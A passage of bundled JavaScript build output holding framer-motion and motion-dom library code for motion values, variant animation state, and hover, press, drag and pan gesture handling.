15461 * const unsubscribeX = x.on("change", updateOpacity)
15462 * const unsubscribeY = y.on("change", updateOpacity)
15463 *
15464 * return () => {
15465 * unsubscribeX()
15466 * unsubscribeY()
15467 * }
15468 * }, [])
15469 *
15470 * return <motion.div style={{ x }} />
15471 * }
15472 * ```
15473 *
15474 * @param subscriber - A function that receives the latest value.
15475 * @returns A function that, when called, will cancel this subscription.
15476 *
15477 * @deprecated
15478 */
15479 onChange(subscription) {
15480 if (true) {
15481 warnOnce(false, `value.onChange(callback) is deprecated. Switch to value.on("change", callback).`);
15482 }
15483 return this.on("change", subscription);
15484 }
15485 on(eventName, callback) {
15486 if (!this.events[eventName]) {
15487 this.events[eventName] = new SubscriptionManager();
15488 }
15489 const unsubscribe = this.events[eventName].add(callback);
15490 if (eventName === "change") {
15491 return () => {
15492 unsubscribe();
15493 frame.read(() => {
15494 if (!this.events.change.getSize()) {
15495 this.stop();
15496 }
15497 });
15498 };
15499 }
15500 return unsubscribe;
15501 }
15502 clearListeners() {
15503 for (const eventManagers in this.events) {
15504 this.events[eventManagers].clear();
15505 }
15506 }
15507 /**
15508 * Attaches a passive effect to the `MotionValue`.
15509 *
15510 * @internal
15511 */
15512 attach(passiveEffect, stopPassiveEffect) {
15513 this.passiveEffect = passiveEffect;
15514 this.stopPassiveEffect = stopPassiveEffect;
15515 }
15516 /**
15517 * Sets the state of the `MotionValue`.
15518 *
15519 * @remarks
15520 *
15521 * ```jsx
15522 * const x = useMotionValue(0)
15523 * x.set(10)
15524 * ```
15525 *
15526 * @param latest - Latest value to set.
15527 * @param render - Whether to notify render subscribers. Defaults to `true`
15528 *
15529 * @public
15530 */
15531 set(v3, render = true) {
15532 if (!render || !this.passiveEffect) {
15533 this.updateAndNotify(v3, render);
15534 } else {
15535 this.passiveEffect(v3, this.updateAndNotify);
15536 }
15537 }
15538 setWithVelocity(prev2, current, delta) {
15539 this.set(current);
15540 this.prev = void 0;
15541 this.prevFrameValue = prev2;
15542 this.prevUpdatedAt = this.updatedAt - delta;
15543 }
15544 /**
15545 * Set the state of the `MotionValue`, stopping any active animations,
15546 * effects, and resets velocity to `0`.
15547 */
15548 jump(v3, endAnimation = true) {
15549 this.updateAndNotify(v3);
15550 this.prev = v3;
15551 this.prevUpdatedAt = this.prevFrameValue = void 0;
15552 endAnimation && this.stop();
15553 if (this.stopPassiveEffect)
15554 this.stopPassiveEffect();
15555 }
15556 /**
15557 * Returns the latest state of `MotionValue`
15558 *
15559 * @returns - The latest state of `MotionValue`
15560 *
15561 * @public
15562 */
15563 get() {
15564 if (collectMotionValues.current) {
15565 collectMotionValues.current.push(this);
15566 }
15567 return this.current;
15568 }
15569 /**
15570 * @public
15571 */
15572 getPrevious() {
15573 return this.prev;
15574 }
15575 /**
15576 * Returns the latest velocity of `MotionValue`
15577 *
15578 * @returns - The latest velocity of `MotionValue`. Returns `0` if the state is non-numerical.
15579 *
15580 * @public
15581 */
15582 getVelocity() {
15583 const currentTime = time.now();
15584 if (!this.canTrackVelocity || this.prevFrameValue === void 0 || currentTime - this.updatedAt > MAX_VELOCITY_DELTA) {
15585 return 0;
15586 }
15587 const delta = Math.min(this.updatedAt - this.prevUpdatedAt, MAX_VELOCITY_DELTA);
15588 return velocityPerSecond(parseFloat(this.current) - parseFloat(this.prevFrameValue), delta);
15589 }
15590 /**
15591 * Registers a new animation to control this `MotionValue`. Only one
15592 * animation can drive a `MotionValue` at one time.
15593 *
15594 * ```jsx
15595 * value.start()
15596 * ```
15597 *
15598 * @param animation - A function that starts the provided animation
15599 *
15600 * @internal
15601 */
15602 start(startAnimation) {
15603 this.stop();
15604 return new Promise((resolve) => {
15605 this.hasAnimated = true;
15606 this.animation = startAnimation(resolve);
15607 if (this.events.animationStart) {
15608 this.events.animationStart.notify();
15609 }
15610 }).then(() => {
15611 if (this.events.animationComplete) {
15612 this.events.animationComplete.notify();
15613 }
15614 this.clearAnimation();
15615 });
15616 }
15617 /**
15618 * Stop the currently active animation.
15619 *
15620 * @public
15621 */
15622 stop() {
15623 if (this.animation) {
15624 this.animation.stop();
15625 if (this.events.animationCancel) {
15626 this.events.animationCancel.notify();
15627 }
15628 }
15629 this.clearAnimation();
15630 }
15631 /**
15632 * Returns `true` if this value is currently animating.
15633 *
15634 * @public
15635 */
15636 isAnimating() {
15637 return !!this.animation;
15638 }
15639 clearAnimation() {
15640 delete this.animation;
15641 }
15642 /**
15643 * Destroy and clean up subscribers to this `MotionValue`.
15644 *
15645 * The `MotionValue` hooks like `useMotionValue` and `useTransform` automatically
15646 * handle the lifecycle of the returned `MotionValue`, so this method is only necessary if you've manually
15647 * created a `MotionValue` via the `motionValue` function.
15648 *
15649 * @public
15650 */
15651 destroy() {
15652 this.clearListeners();
15653 this.stop();
15654 if (this.stopPassiveEffect) {
15655 this.stopPassiveEffect();
15656 }
15657 }
15658 };
15659 function motionValue(init2, options2) {
15660 return new MotionValue(init2, options2);
15661 }
15662
15663 // packages/components/node_modules/framer-motion/dist/es/render/utils/setters.mjs
15664 function setMotionValue(visualElement, key, value) {
15665 if (visualElement.hasValue(key)) {
15666 visualElement.getValue(key).set(value);
15667 } else {
15668 visualElement.addValue(key, motionValue(value));
15669 }
15670 }
15671 function setTarget(visualElement, definition) {
15672 const resolved = resolveVariant(visualElement, definition);
15673 let { transitionEnd = {}, transition = {}, ...target } = resolved || {};
15674 target = { ...target, ...transitionEnd };
15675 for (const key in target) {
15676 const value = resolveFinalValueInKeyframes(target[key]);
15677 setMotionValue(visualElement, key, value);
15678 }
15679 }
15680
15681 // packages/components/node_modules/framer-motion/dist/es/render/dom/utils/camel-to-dash.mjs
15682 var camelToDash = (str) => str.replace(/([a-z])([A-Z])/gu, "$1-$2").toLowerCase();
15683
15684 // packages/components/node_modules/framer-motion/dist/es/animation/optimized-appear/data-id.mjs
15685 var optimizedAppearDataId = "framerAppearId";
15686 var optimizedAppearDataAttribute = "data-" + camelToDash(optimizedAppearDataId);
15687
15688 // packages/components/node_modules/framer-motion/dist/es/animation/optimized-appear/get-appear-id.mjs
15689 function getOptimisedAppearId(visualElement) {
15690 return visualElement.props[optimizedAppearDataAttribute];
15691 }
15692
15693 // packages/components/node_modules/framer-motion/dist/es/value/utils/is-motion-value.mjs
15694 var isMotionValue = (value) => Boolean(value && value.getVelocity);
15695
15696 // packages/components/node_modules/framer-motion/dist/es/value/use-will-change/is.mjs
15697 function isWillChangeMotionValue(value) {
15698 return Boolean(isMotionValue(value) && value.add);
15699 }
15700
15701 // packages/components/node_modules/framer-motion/dist/es/value/use-will-change/add-will-change.mjs
15702 function addValueToWillChange(visualElement, key) {
15703 const willChange = visualElement.getValue("willChange");
15704 if (isWillChangeMotionValue(willChange)) {
15705 return willChange.add(key);
15706 }
15707 }
15708
15709 // packages/components/node_modules/framer-motion/dist/es/animation/interfaces/visual-element-target.mjs
15710 function shouldBlockAnimation({ protectedKeys, needsAnimating }, key) {
15711 const shouldBlock = protectedKeys.hasOwnProperty(key) && needsAnimating[key] !== true;
15712 needsAnimating[key] = false;
15713 return shouldBlock;
15714 }
15715 function animateTarget(visualElement, targetAndTransition, { delay: delay2 = 0, transitionOverride, type } = {}) {
15716 var _a;
15717 let { transition = visualElement.getDefaultTransition(), transitionEnd, ...target } = targetAndTransition;
15718 if (transitionOverride)
15719 transition = transitionOverride;
15720 const animations2 = [];
15721 const animationTypeState = type && visualElement.animationState && visualElement.animationState.getState()[type];
15722 for (const key in target) {
15723 const value = visualElement.getValue(key, (_a = visualElement.latestValues[key]) !== null && _a !== void 0 ? _a : null);
15724 const valueTarget = target[key];
15725 if (valueTarget === void 0 || animationTypeState && shouldBlockAnimation(animationTypeState, key)) {
15726 continue;
15727 }
15728 const valueTransition = {
15729 delay: delay2,
15730 ...getValueTransition(transition || {}, key)
15731 };
15732 let isHandoff = false;
15733 if (window.MotionHandoffAnimation) {
15734 const appearId = getOptimisedAppearId(visualElement);
15735 if (appearId) {
15736 const startTime = window.MotionHandoffAnimation(appearId, key, frame);
15737 if (startTime !== null) {
15738 valueTransition.startTime = startTime;
15739 isHandoff = true;
15740 }
15741 }
15742 }
15743 addValueToWillChange(visualElement, key);
15744 value.start(animateMotionValue(key, value, valueTarget, visualElement.shouldReduceMotion && transformProps.has(key) ? { type: false } : valueTransition, visualElement, isHandoff));
15745 const animation = value.animation;
15746 if (animation) {
15747 animations2.push(animation);
15748 }
15749 }
15750 if (transitionEnd) {
15751 Promise.all(animations2).then(() => {
15752 frame.update(() => {
15753 transitionEnd && setTarget(visualElement, transitionEnd);
15754 });
15755 });
15756 }
15757 return animations2;
15758 }
15759
15760 // packages/components/node_modules/framer-motion/dist/es/animation/interfaces/visual-element-variant.mjs
15761 function animateVariant(visualElement, variant, options2 = {}) {
15762 var _a;
15763 const resolved = resolveVariant(visualElement, variant, options2.type === "exit" ? (_a = visualElement.presenceContext) === null || _a === void 0 ? void 0 : _a.custom : void 0);
15764 let { transition = visualElement.getDefaultTransition() || {} } = resolved || {};
15765 if (options2.transitionOverride) {
15766 transition = options2.transitionOverride;
15767 }
15768 const getAnimation = resolved ? () => Promise.all(animateTarget(visualElement, resolved, options2)) : () => Promise.resolve();
15769 const getChildAnimations = visualElement.variantChildren && visualElement.variantChildren.size ? (forwardDelay = 0) => {
15770 const { delayChildren = 0, staggerChildren, staggerDirection } = transition;
15771 return animateChildren(visualElement, variant, delayChildren + forwardDelay, staggerChildren, staggerDirection, options2);
15772 } : () => Promise.resolve();
15773 const { when } = transition;
15774 if (when) {
15775 const [first, last] = when === "beforeChildren" ? [getAnimation, getChildAnimations] : [getChildAnimations, getAnimation];
15776 return first().then(() => last());
15777 } else {
15778 return Promise.all([getAnimation(), getChildAnimations(options2.delay)]);
15779 }
15780 }
15781 function animateChildren(visualElement, variant, delayChildren = 0, staggerChildren = 0, staggerDirection = 1, options2) {
15782 const animations2 = [];
15783 const maxStaggerDuration = (visualElement.variantChildren.size - 1) * staggerChildren;
15784 const generateStaggerDuration = staggerDirection === 1 ? (i3 = 0) => i3 * staggerChildren : (i3 = 0) => maxStaggerDuration - i3 * staggerChildren;
15785 Array.from(visualElement.variantChildren).sort(sortByTreeOrder).forEach((child, i3) => {
15786 child.notify("AnimationStart", variant);
15787 animations2.push(animateVariant(child, variant, {
15788 ...options2,
15789 delay: delayChildren + generateStaggerDuration(i3)
15790 }).then(() => child.notify("AnimationComplete", variant)));
15791 });
15792 return Promise.all(animations2);
15793 }
15794 function sortByTreeOrder(a3, b3) {
15795 return a3.sortNodePosition(b3);
15796 }
15797
15798 // packages/components/node_modules/framer-motion/dist/es/animation/interfaces/visual-element.mjs
15799 function animateVisualElement(visualElement, definition, options2 = {}) {
15800 visualElement.notify("AnimationStart", definition);
15801 let animation;
15802 if (Array.isArray(definition)) {
15803 const animations2 = definition.map((variant) => animateVariant(visualElement, variant, options2));
15804 animation = Promise.all(animations2);
15805 } else if (typeof definition === "string") {
15806 animation = animateVariant(visualElement, definition, options2);
15807 } else {
15808 const resolvedDefinition = typeof definition === "function" ? resolveVariant(visualElement, definition, options2.custom) : definition;
15809 animation = Promise.all(animateTarget(visualElement, resolvedDefinition, options2));
15810 }
15811 return animation.then(() => {
15812 visualElement.notify("AnimationComplete", definition);
15813 });
15814 }
15815
15816 // packages/components/node_modules/framer-motion/dist/es/render/utils/get-variant-context.mjs
15817 var numVariantProps = variantProps.length;
15818 function getVariantContext(visualElement) {
15819 if (!visualElement)
15820 return void 0;
15821 if (!visualElement.isControllingVariants) {
15822 const context2 = visualElement.parent ? getVariantContext(visualElement.parent) || {} : {};
15823 if (visualElement.props.initial !== void 0) {
15824 context2.initial = visualElement.props.initial;
15825 }
15826 return context2;
15827 }
15828 const context = {};
15829 for (let i3 = 0; i3 < numVariantProps; i3++) {
15830 const name = variantProps[i3];
15831 const prop = visualElement.props[name];
15832 if (isVariantLabel(prop) || prop === false) {
15833 context[name] = prop;
15834 }
15835 }
15836 return context;
15837 }
15838
15839 // packages/components/node_modules/framer-motion/dist/es/render/utils/animation-state.mjs
15840 var reversePriorityOrder = [...variantPriorityOrder].reverse();
15841 var numAnimationTypes = variantPriorityOrder.length;
15842 function animateList(visualElement) {
15843 return (animations2) => Promise.all(animations2.map(({ animation, options: options2 }) => animateVisualElement(visualElement, animation, options2)));
15844 }
15845 function createAnimationState(visualElement) {
15846 let animate = animateList(visualElement);
15847 let state = createState();
15848 let isInitialRender = true;
15849 const buildResolvedTypeValues = (type) => (acc, definition) => {
15850 var _a;
15851 const resolved = resolveVariant(visualElement, definition, type === "exit" ? (_a = visualElement.presenceContext) === null || _a === void 0 ? void 0 : _a.custom : void 0);
15852 if (resolved) {
15853 const { transition, transitionEnd, ...target } = resolved;
15854 acc = { ...acc, ...target, ...transitionEnd };
15855 }
15856 return acc;
15857 };
15858 function setAnimateFunction(makeAnimator) {
15859 animate = makeAnimator(visualElement);
15860 }
15861 function animateChanges(changedActiveType) {
15862 const { props } = visualElement;
15863 const context = getVariantContext(visualElement.parent) || {};
15864 const animations2 = [];
15865 const removedKeys = /* @__PURE__ */ new Set();
15866 let encounteredKeys = {};
15867 let removedVariantIndex = Infinity;
15868 for (let i3 = 0; i3 < numAnimationTypes; i3++) {
15869 const type = reversePriorityOrder[i3];
15870 const typeState = state[type];
15871 const prop = props[type] !== void 0 ? props[type] : context[type];
15872 const propIsVariant = isVariantLabel(prop);
15873 const activeDelta = type === changedActiveType ? typeState.isActive : null;
15874 if (activeDelta === false)
15875 removedVariantIndex = i3;
15876 let isInherited = prop === context[type] && prop !== props[type] && propIsVariant;
15877 if (isInherited && isInitialRender && visualElement.manuallyAnimateOnMount) {
15878 isInherited = false;
15879 }
15880 typeState.protectedKeys = { ...encounteredKeys };
15881 if (
15882 // If it isn't active and hasn't *just* been set as inactive
15883 !typeState.isActive && activeDelta === null || // If we didn't and don't have any defined prop for this animation type
15884 !prop && !typeState.prevProp || // Or if the prop doesn't define an animation
15885 isAnimationControls(prop) || typeof prop === "boolean"
15886 ) {
15887 continue;
15888 }
15889 const variantDidChange = checkVariantsDidChange(typeState.prevProp, prop);
15890 let shouldAnimateType = variantDidChange || // If we're making this variant active, we want to always make it active
15891 type === changedActiveType && typeState.isActive && !isInherited && propIsVariant || // If we removed a higher-priority variant (i is in reverse order)
15892 i3 > removedVariantIndex && propIsVariant;
15893 let handledRemovedValues = false;
15894 const definitionList = Array.isArray(prop) ? prop : [prop];
15895 let resolvedValues = definitionList.reduce(buildResolvedTypeValues(type), {});
15896 if (activeDelta === false)
15897 resolvedValues = {};
15898 const { prevResolvedValues = {} } = typeState;
15899 const allKeys = {
15900 ...prevResolvedValues,
15901 ...resolvedValues
15902 };
15903 const markToAnimate = (key) => {
15904 shouldAnimateType = true;
15905 if (removedKeys.has(key)) {
15906 handledRemovedValues = true;
15907 removedKeys.delete(key);
15908 }
15909 typeState.needsAnimating[key] = true;
15910 const motionValue2 = visualElement.getValue(key);
15911 if (motionValue2)
15912 motionValue2.liveStyle = false;
15913 };
15914 for (const key in allKeys) {
15915 const next2 = resolvedValues[key];
15916 const prev2 = prevResolvedValues[key];
15917 if (encounteredKeys.hasOwnProperty(key))
15918 continue;
15919 let valueHasChanged = false;
15920 if (isKeyframesTarget(next2) && isKeyframesTarget(prev2)) {
15921 valueHasChanged = !shallowCompare(next2, prev2);
15922 } else {
15923 valueHasChanged = next2 !== prev2;
15924 }
15925 if (valueHasChanged) {
15926 if (next2 !== void 0 && next2 !== null) {
15927 markToAnimate(key);
15928 } else {
15929 removedKeys.add(key);
15930 }
15931 } else if (next2 !== void 0 && removedKeys.has(key)) {
15932 markToAnimate(key);
15933 } else {
15934 typeState.protectedKeys[key] = true;
15935 }
15936 }
15937 typeState.prevProp = prop;
15938 typeState.prevResolvedValues = resolvedValues;
15939 if (typeState.isActive) {
15940 encounteredKeys = { ...encounteredKeys, ...resolvedValues };
15941 }
15942 if (isInitialRender && visualElement.blockInitialAnimation) {
15943 shouldAnimateType = false;
15944 }
15945 const willAnimateViaParent = isInherited && variantDidChange;
15946 const needsAnimating = !willAnimateViaParent || handledRemovedValues;
15947 if (shouldAnimateType && needsAnimating) {
15948 animations2.push(...definitionList.map((animation) => ({
15949 animation,
15950 options: { type }
15951 })));
15952 }
15953 }
15954 if (removedKeys.size) {
15955 const fallbackAnimation = {};
15956 removedKeys.forEach((key) => {
15957 const fallbackTarget = visualElement.getBaseTarget(key);
15958 const motionValue2 = visualElement.getValue(key);
15959 if (motionValue2)
15960 motionValue2.liveStyle = true;
15961 fallbackAnimation[key] = fallbackTarget !== null && fallbackTarget !== void 0 ? fallbackTarget : null;
15962 });
15963 animations2.push({ animation: fallbackAnimation });
15964 }
15965 let shouldAnimate = Boolean(animations2.length);
15966 if (isInitialRender && (props.initial === false || props.initial === props.animate) && !visualElement.manuallyAnimateOnMount) {
15967 shouldAnimate = false;
15968 }
15969 isInitialRender = false;
15970 return shouldAnimate ? animate(animations2) : Promise.resolve();
15971 }
15972 function setActive(type, isActive) {
15973 var _a;
15974 if (state[type].isActive === isActive)
15975 return Promise.resolve();
15976 (_a = visualElement.variantChildren) === null || _a === void 0 ? void 0 : _a.forEach((child) => {
15977 var _a2;
15978 return (_a2 = child.animationState) === null || _a2 === void 0 ? void 0 : _a2.setActive(type, isActive);
15979 });
15980 state[type].isActive = isActive;
15981 const animations2 = animateChanges(type);
15982 for (const key in state) {
15983 state[key].protectedKeys = {};
15984 }
15985 return animations2;
15986 }
15987 return {
15988 animateChanges,
15989 setActive,
15990 setAnimateFunction,
15991 getState: () => state,
15992 reset: () => {
15993 state = createState();
15994 isInitialRender = true;
15995 }
15996 };
15997 }
15998 function checkVariantsDidChange(prev2, next2) {
15999 if (typeof next2 === "string") {
16000 return next2 !== prev2;
16001 } else if (Array.isArray(next2)) {
16002 return !shallowCompare(next2, prev2);
16003 }
16004 return false;
16005 }
16006 function createTypeState(isActive = false) {
16007 return {
16008 isActive,
16009 protectedKeys: {},
16010 needsAnimating: {},
16011 prevResolvedValues: {}
16012 };
16013 }
16014 function createState() {
16015 return {
16016 animate: createTypeState(true),
16017 whileInView: createTypeState(),
16018 whileHover: createTypeState(),
16019 whileTap: createTypeState(),
16020 whileDrag: createTypeState(),
16021 whileFocus: createTypeState(),
16022 exit: createTypeState()
16023 };
16024 }
16025
16026 // packages/components/node_modules/framer-motion/dist/es/motion/features/Feature.mjs
16027 var Feature = class {
16028 constructor(node2) {
16029 this.isMounted = false;
16030 this.node = node2;
16031 }
16032 update() {
16033 }
16034 };
16035
16036 // packages/components/node_modules/framer-motion/dist/es/motion/features/animation/index.mjs
16037 var AnimationFeature = class extends Feature {
16038 /**
16039 * We dynamically generate the AnimationState manager as it contains a reference
16040 * to the underlying animation library. We only want to load that if we load this,
16041 * so people can optionally code split it out using the `m` component.
16042 */
16043 constructor(node2) {
16044 super(node2);
16045 node2.animationState || (node2.animationState = createAnimationState(node2));
16046 }
16047 updateAnimationControlsSubscription() {
16048 const { animate } = this.node.getProps();
16049 if (isAnimationControls(animate)) {
16050 this.unmountControls = animate.subscribe(this.node);
16051 }
16052 }
16053 /**
16054 * Subscribe any provided AnimationControls to the component's VisualElement
16055 */
16056 mount() {
16057 this.updateAnimationControlsSubscription();
16058 }
16059 update() {
16060 const { animate } = this.node.getProps();
16061 const { animate: prevAnimate } = this.node.prevProps || {};
16062 if (animate !== prevAnimate) {
16063 this.updateAnimationControlsSubscription();
16064 }
16065 }
16066 unmount() {
16067 var _a;
16068 this.node.animationState.reset();
16069 (_a = this.unmountControls) === null || _a === void 0 ? void 0 : _a.call(this);
16070 }
16071 };
16072
16073 // packages/components/node_modules/framer-motion/dist/es/motion/features/animation/exit.mjs
16074 var id = 0;
16075 var ExitAnimationFeature = class extends Feature {
16076 constructor() {
16077 super(...arguments);
16078 this.id = id++;
16079 }
16080 update() {
16081 if (!this.node.presenceContext)
16082 return;
16083 const { isPresent, onExitComplete } = this.node.presenceContext;
16084 const { isPresent: prevIsPresent } = this.node.prevPresenceContext || {};
16085 if (!this.node.animationState || isPresent === prevIsPresent) {
16086 return;
16087 }
16088 const exitAnimation = this.node.animationState.setActive("exit", !isPresent);
16089 if (onExitComplete && !isPresent) {
16090 exitAnimation.then(() => onExitComplete(this.id));
16091 }
16092 }
16093 mount() {
16094 const { register } = this.node.presenceContext || {};
16095 if (register) {
16096 this.unmount = register(this.id);
16097 }
16098 }
16099 unmount() {
16100 }
16101 };
16102
16103 // packages/components/node_modules/framer-motion/dist/es/motion/features/animations.mjs
16104 var animations = {
16105 animation: {
16106 Feature: AnimationFeature
16107 },
16108 exit: {
16109 Feature: ExitAnimationFeature
16110 }
16111 };
16112
16113 // node_modules/motion-dom/dist/es/gestures/drag/state/is-active.mjs
16114 var isDragging = {
16115 x: false,
16116 y: false
16117 };
16118 function isDragActive() {
16119 return isDragging.x || isDragging.y;
16120 }
16121
16122 // node_modules/motion-dom/dist/es/utils/resolve-elements.mjs
16123 function resolveElements(elementOrSelector, scope, selectorCache) {
16124 var _a;
16125 if (elementOrSelector instanceof Element) {
16126 return [elementOrSelector];
16127 } else if (typeof elementOrSelector === "string") {
16128 let root = document;
16129 if (scope) {
16130 root = scope.current;
16131 }
16132 const elements2 = (_a = selectorCache === null || selectorCache === void 0 ? void 0 : selectorCache[elementOrSelector]) !== null && _a !== void 0 ? _a : root.querySelectorAll(elementOrSelector);
16133 return elements2 ? Array.from(elements2) : [];
16134 }
16135 return Array.from(elementOrSelector);
16136 }
16137
16138 // node_modules/motion-dom/dist/es/gestures/utils/setup.mjs
16139 function setupGesture(elementOrSelector, options2) {
16140 const elements2 = resolveElements(elementOrSelector);
16141 const gestureAbortController = new AbortController();
16142 const eventOptions = {
16143 passive: true,
16144 ...options2,
16145 signal: gestureAbortController.signal
16146 };
16147 const cancel = () => gestureAbortController.abort();
16148 return [elements2, eventOptions, cancel];
16149 }
16150
16151 // node_modules/motion-dom/dist/es/gestures/hover.mjs
16152 function filterEvents(callback) {
16153 return (event) => {
16154 if (event.pointerType === "touch" || isDragActive())
16155 return;
16156 callback(event);
16157 };
16158 }
16159 function hover(elementOrSelector, onHoverStart, options2 = {}) {
16160 const [elements2, eventOptions, cancel] = setupGesture(elementOrSelector, options2);
16161 const onPointerEnter = filterEvents((enterEvent) => {
16162 const { target } = enterEvent;
16163 const onHoverEnd = onHoverStart(enterEvent);
16164 if (!onHoverEnd || !target)
16165 return;
16166 const onPointerLeave = filterEvents((leaveEvent) => {
16167 onHoverEnd(leaveEvent);
16168 target.removeEventListener("pointerleave", onPointerLeave);
16169 });
16170 target.addEventListener("pointerleave", onPointerLeave, eventOptions);
16171 });
16172 elements2.forEach((element) => {
16173 element.addEventListener("pointerenter", onPointerEnter, eventOptions);
16174 });
16175 return cancel;
16176 }
16177
16178 // node_modules/motion-dom/dist/es/gestures/utils/is-primary-pointer.mjs
16179 var isPrimaryPointer = (event) => {
16180 if (event.pointerType === "mouse") {
16181 return typeof event.button !== "number" || event.button <= 0;
16182 } else {
16183 return event.isPrimary !== false;
16184 }
16185 };
16186
16187 // node_modules/motion-dom/dist/es/gestures/press/utils/state.mjs
16188 var isPressing = /* @__PURE__ */ new WeakSet();
16189
16190 // node_modules/motion-dom/dist/es/gestures/press/utils/keyboard.mjs
16191 function filterEvents2(callback) {
16192 return (event) => {
16193 if (event.key !== "Enter")
16194 return;
16195 callback(event);
16196 };
16197 }
16198 function firePointerEvent(target, type) {
16199 target.dispatchEvent(new PointerEvent("pointer" + type, { isPrimary: true, bubbles: true }));
16200 }
16201 var enableKeyboardPress = (focusEvent, eventOptions) => {
16202 const element = focusEvent.currentTarget;
16203 if (!element)
16204 return;
16205 const handleKeydown = filterEvents2(() => {
16206 if (isPressing.has(element))
16207 return;
16208 firePointerEvent(element, "down");
16209 const handleKeyup = filterEvents2(() => {
16210 firePointerEvent(element, "up");
16211 });
16212 const handleBlur = () => firePointerEvent(element, "cancel");
16213 element.addEventListener("keyup", handleKeyup, eventOptions);
16214 element.addEventListener("blur", handleBlur, eventOptions);
16215 });
16216 element.addEventListener("keydown", handleKeydown, eventOptions);
16217 element.addEventListener("blur", () => element.removeEventListener("keydown", handleKeydown), eventOptions);
16218 };
16219
16220 // node_modules/motion-dom/dist/es/gestures/press/utils/is-keyboard-accessible.mjs
16221 var focusableElements = /* @__PURE__ */ new Set([
16222 "BUTTON",
16223 "INPUT",
16224 "SELECT",
16225 "TEXTAREA",
16226 "A"
16227 ]);
16228 function isElementKeyboardAccessible(element) {
16229 return focusableElements.has(element.tagName) || element.tabIndex !== -1;
16230 }
16231
16232 // node_modules/motion-dom/dist/es/gestures/utils/is-node-or-child.mjs
16233 var isNodeOrChild = (parent, child) => {
16234 if (!child) {
16235 return false;
16236 } else if (parent === child) {
16237 return true;
16238 } else {
16239 return isNodeOrChild(parent, child.parentElement);
16240 }
16241 };
16242
16243 // node_modules/motion-dom/dist/es/gestures/press/index.mjs
16244 function isValidPressEvent(event) {
16245 return isPrimaryPointer(event) && !isDragActive();
16246 }
16247 function press(elementOrSelector, onPressStart, options2 = {}) {
16248 const [elements2, eventOptions, cancelEvents] = setupGesture(elementOrSelector, options2);
16249 const startPress = (startEvent) => {
16250 const element = startEvent.currentTarget;
16251 if (!isValidPressEvent(startEvent) || isPressing.has(element))
16252 return;
16253 isPressing.add(element);
16254 const onPressEnd = onPressStart(startEvent);
16255 const onPointerEnd = (endEvent, success) => {
16256 window.removeEventListener("pointerup", onPointerUp);
16257 window.removeEventListener("pointercancel", onPointerCancel);
16258 if (!isValidPressEvent(endEvent) || !isPressing.has(element)) {
16259 return;
16260 }
16261 isPressing.delete(element);
16262 if (onPressEnd) {
16263 onPressEnd(endEvent, { success });
16264 }
16265 };
16266 const onPointerUp = (upEvent) => {
16267 onPointerEnd(upEvent, options2.useGlobalTarget || isNodeOrChild(element, upEvent.target));
16268 };
16269 const onPointerCancel = (cancelEvent) => {
16270 onPointerEnd(cancelEvent, false);
16271 };
16272 window.addEventListener("pointerup", onPointerUp, eventOptions);
16273 window.addEventListener("pointercancel", onPointerCancel, eventOptions);
16274 };
16275 elements2.forEach((element) => {
16276 if (!isElementKeyboardAccessible(element)) {
16277 element.tabIndex = 0;
16278 }
16279 const target = options2.useGlobalTarget ? window : element;
16280 target.addEventListener("pointerdown", startPress, eventOptions);
16281 element.addEventListener("focus", (event) => enableKeyboardPress(event, eventOptions), eventOptions);
16282 });
16283 return cancelEvents;
16284 }
16285
16286 // node_modules/motion-dom/dist/es/gestures/drag/state/set-active.mjs
16287 function setDragLock(axis) {
16288 if (axis === "x" || axis === "y") {
16289 if (isDragging[axis]) {
16290 return null;
16291 } else {
16292 isDragging[axis] = true;
16293 return () => {
16294 isDragging[axis] = false;
16295 };
16296 }
16297 } else {
16298 if (isDragging.x || isDragging.y) {
16299 return null;
16300 } else {
16301 isDragging.x = isDragging.y = true;
16302 return () => {
16303 isDragging.x = isDragging.y = false;
16304 };
16305 }
16306 }
16307 }
16308
16309 // packages/components/node_modules/framer-motion/dist/es/events/event-info.mjs
16310 function extractEventInfo(event) {
16311 return {
16312 point: {
16313 x: event.pageX,
16314 y: event.pageY
16315 }
16316 };
16317 }
16318 var addPointerInfo = (handler) => {
16319 return (event) => isPrimaryPointer(event) && handler(event, extractEventInfo(event));
16320 };
16321
16322 // packages/components/node_modules/framer-motion/dist/es/events/add-dom-event.mjs
16323 function addDomEvent(target, eventName, handler, options2 = { passive: true }) {
16324 target.addEventListener(eventName, handler, options2);
16325 return () => target.removeEventListener(eventName, handler);
16326 }
16327
16328 // packages/components/node_modules/framer-motion/dist/es/events/add-pointer-event.mjs
16329 function addPointerEvent(target, eventName, handler, options2) {
16330 return addDomEvent(target, eventName, addPointerInfo(handler), options2);
16331 }
16332
16333 // packages/components/node_modules/framer-motion/dist/es/utils/distance.mjs
16334 var distance = (a3, b3) => Math.abs(a3 - b3);
16335 function distance2D(a3, b3) {
16336 const xDelta = distance(a3.x, b3.x);
16337 const yDelta = distance(a3.y, b3.y);
16338 return Math.sqrt(xDelta ** 2 + yDelta ** 2);
16339 }
16340
16341 // packages/components/node_modules/framer-motion/dist/es/gestures/pan/PanSession.mjs
16342 var PanSession = class {
16343 constructor(event, handlers, { transformPagePoint, contextWindow, dragSnapToOrigin = false } = {}) {
16344 this.startEvent = null;
16345 this.lastMoveEvent = null;
16346 this.lastMoveEventInfo = null;
16347 this.handlers = {};
16348 this.contextWindow = window;
16349 this.updatePoint = () => {
16350 if (!(this.lastMoveEvent && this.lastMoveEventInfo))
16351 return;
16352 const info2 = getPanInfo(this.lastMoveEventInfo, this.history);
16353 const isPanStarted = this.startEvent !== null;
16354 const isDistancePastThreshold = distance2D(info2.offset, { x: 0, y: 0 }) >= 3;
16355 if (!isPanStarted && !isDistancePastThreshold)
16356 return;
16357 const { point: point2 } = info2;
16358 const { timestamp: timestamp2 } = frameData;
16359 this.history.push({ ...point2, timestamp: timestamp2 });
16360 const { onStart, onMove } = this.handlers;
16361 if (!isPanStarted) {
16362 onStart && onStart(this.lastMoveEvent, info2);
16363 this.startEvent = this.lastMoveEvent;
16364 }
16365 onMove && onMove(this.lastMoveEvent, info2);
16366 };
16367 this.handlePointerMove = (event2, info2) => {
16368 this.lastMoveEvent = event2;
16369 this.lastMoveEventInfo = transformPoint(info2, this.transformPagePoint);
16370 frame.update(this.updatePoint, true);
16371 };
16372 this.handlePointerUp = (event2, info2) => {
16373 this.end();
16374 const { onEnd, onSessionEnd, resumeAnimation } = this.handlers;
16375 if (this.dragSnapToOrigin)
16376 resumeAnimation && resumeAnimation();
16377 if (!(this.lastMoveEvent && this.lastMoveEventInfo))
16378 return;
